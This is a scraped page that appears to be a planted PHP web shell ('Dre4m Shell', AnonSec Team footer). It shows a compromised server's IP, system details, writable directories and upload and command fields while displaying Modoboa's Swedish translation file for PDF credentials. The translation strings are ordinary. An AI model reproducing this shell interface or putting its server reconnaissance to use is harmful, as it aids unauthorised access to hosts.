Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.15.197.189
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib/python3.5/site-packages/modoboa_pdfcredentials/locale/sv/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib/python3.5/site-packages/modoboa_pdfcredentials/locale/sv/LC_MESSAGES/django.po
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
# 
# Translators:
# Olle Gustafsson <olle@dalnix.se>, 2016,2018
# Tomas Olsson <fettoemo@gmail.com>, 2018
msgid ""
msgstr ""
"Project-Id-Version: Modoboa\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2017-09-27 12:01+0200\n"
"PO-Revision-Date: 2018-08-14 08:40+0000\n"
"Last-Translator: Olle Gustafsson <olle@dalnix.se>\n"
"Language-Team: Swedish (http://www.transifex.com/tonio/modoboa/language/sv/)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: sv\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#: constants.py:7
msgid "None"
msgstr "Ingen"

#: documents.py:52 forms.py:53
msgid "Personal account information"
msgstr "Personlig kontoinformation"

#: documents.py:55
msgid "Powered by Modoboa - Mail hosting made simple"
msgstr "Drivs av Modoboa - Mail hosting gjort enkelt"

#: documents.py:69
#, python-format
msgid ""
"\n"
"Dear %s, this document contains the credentials you will need\n"
"to connect to Modoboa. Learn the content and destroy\n"
"the document as soon as possible.\n"
msgstr "\nKära %s, detta dokument innehåller de kontouppgifter du behöver för att ansluta till Modoboa. Lär dig innehållet i detta dokument och förstör detta dokument så snart som möjligt\n"

#: documents.py:75
msgid "Web panel:"
msgstr "Webbpanel"

#: documents.py:78
msgid "Username"
msgstr "Användarnamn"

#: documents.py:79
msgid "Password"
msgstr "Lösenord"

#: documents.py:89
msgid ""
"\n"
"Here you can view your emails anytime online, create filters or manage\n"
"your contacts.\n"
msgstr "\nHär kan du se dina e-postmeddelanden när som helst online, skapa filter eller hantera\ndina kontakter.\n"

#: documents.py:96
msgid "Please change your password!"
msgstr "Vänligen ändra ditt lösenord!"

#: documents.py:102
msgid "PC/Tablet/Smartphone configuration:"
msgstr "PC/Tablet/Smartphone inställningar:"

#: documents.py:105 forms.py:79
msgid "SMTP server address"
msgstr "SMTP server adress"

#: documents.py:106 forms.py:84
msgid "SMTP server port"
msgstr "SMTP server port"

#: documents.py:107 forms.py:90
msgid "SMTP connection security"
msgstr "SMTP anslutningssäkerhet"

#: documents.py:108 forms.py:97
msgid "IMAP server address"
msgstr "IMAP server adress"

#: documents.py:109 forms.py:102
msgid "IMAP server port"
msgstr "IMAP server port"

#: documents.py:110 forms.py:108
msgid "IMAP connection security"
msgstr "IMAP anslutningssäkerhet"

#: documents.py:120
msgid "Use those settings for your computer, tablet or phone."
msgstr "Använd dessa inställningar för din dator, surfplatta eller telefon."

#: forms.py:20
msgid "Documents storage"
msgstr "Dokumentlagring"

#: forms.py:23
msgid "Directory to save documents into"
msgstr "Katalog att spara dokument till"

#: forms.py:25
msgid "Path to a directory where PDF documents will be saved"
msgstr "Sökväg till en katalog där PDF dokument kommer sparas"

#: forms.py:28
msgid "Security options"
msgstr "Säkerhetsinställningar"

#: forms.py:31
msgid "Delete documents after the first download"
msgstr "Radera dokument efter första nedladdning"

#: forms.py:34
msgid ""
"Automatically delete a document just after its first download from this "
"interface"
msgstr "Radera dokument automatiskt efter första nedladdningen"

#: forms.py:40
msgid "Generate documents only at account creation"
msgstr "Generera dokument endast vid kontoskapande"

#: forms.py:43
msgid ""
"Generate a new document only when a new account is created. If set to no, a "
"new document will be created each time a password is updated."
msgstr "Generera bara nya dokument när ett nytt konto skapas. Om detta sätts till nej, kommer ett nytt dokument skapas varje gång ett lösenord uppdateras."

#: forms.py:49
msgid "Customization options"
msgstr "Anpassningsalternativ"

#: forms.py:52
msgid "Title"
msgstr "Titel"

#: forms.py:54
msgid "The document's title"
msgstr "Dokumentets titel"

#: forms.py:58
msgid "Web panel url"
msgstr "Webbpanels länk "

#: forms.py:59
msgid "URL of the Modoboa web panel"
msgstr "URL till Modoboa webbpanel"

#: forms.py:63
msgid "Custom message"
msgstr "Anpassat meddelande"

#: forms.py:65
msgid "A custom message that will appear at the end of documents"
msgstr "Ett anpassat meddelande som kommer visas i slutet på dokumentet"

#: forms.py:70
msgid "Include mail client connection settings"
msgstr "Inkludera e-post klient inställningar"

#: forms.py:73
msgid ""
"Include required SMTP and IMAP connection information to configure a mail "
"client, a tablet or a phone"
msgstr "Inkludera SMTP och IMAP anslutningsinformation för att konfigurera en e-postklient, surfplatta eller telefon"

#: forms.py:80
msgid "Address of the SMTP server (hostname or IP)"
msgstr "Adress till SMTP servern (värdnamn eller IP)"

#: forms.py:86
msgid "Listening port of the SMTP server"
msgstr "Lyssningsport för SMTP servern"

#: forms.py:93 forms.py:111
msgid "Connection security mechanism"
msgstr "Anslutningssäkerhetsmekanism"

#: forms.py:98
msgid "Address of the IMAP server (hostname or IP)"
msgstr "Adress till IMAP servern (värdnamn eller IP)"

#: forms.py:104
msgid "Listening port of the IMAP server"
msgstr "Lyssningsport för IMAP servern"

#: handlers.py:46
msgid "Retrieve user's credentials as a PDF document"
msgstr "Hämta användares kontouppgifter som ett PDF dokument"

#: lib.py:29
#, python-format
msgid "Failed to create the directory that will contain PDF documents (%s)"
msgstr "Kunde inte skapa katalogen som innehåller PDF dokumenten (%s)"

#: modo_extension.py:16 modo_extension.py:24
msgid "PDF credentials"
msgstr "PDF kontouppgifter"

#: modo_extension.py:19
msgid "Generate PDF documents containing users' credentials"
msgstr "Generera PDF dokument innehållande användares kontouppgifter"

#: views.py:30
msgid "No document available for this user"
msgstr "Inga dokument tillgängliga för den här användaren"

Anon7 - 2022
AnonSec Team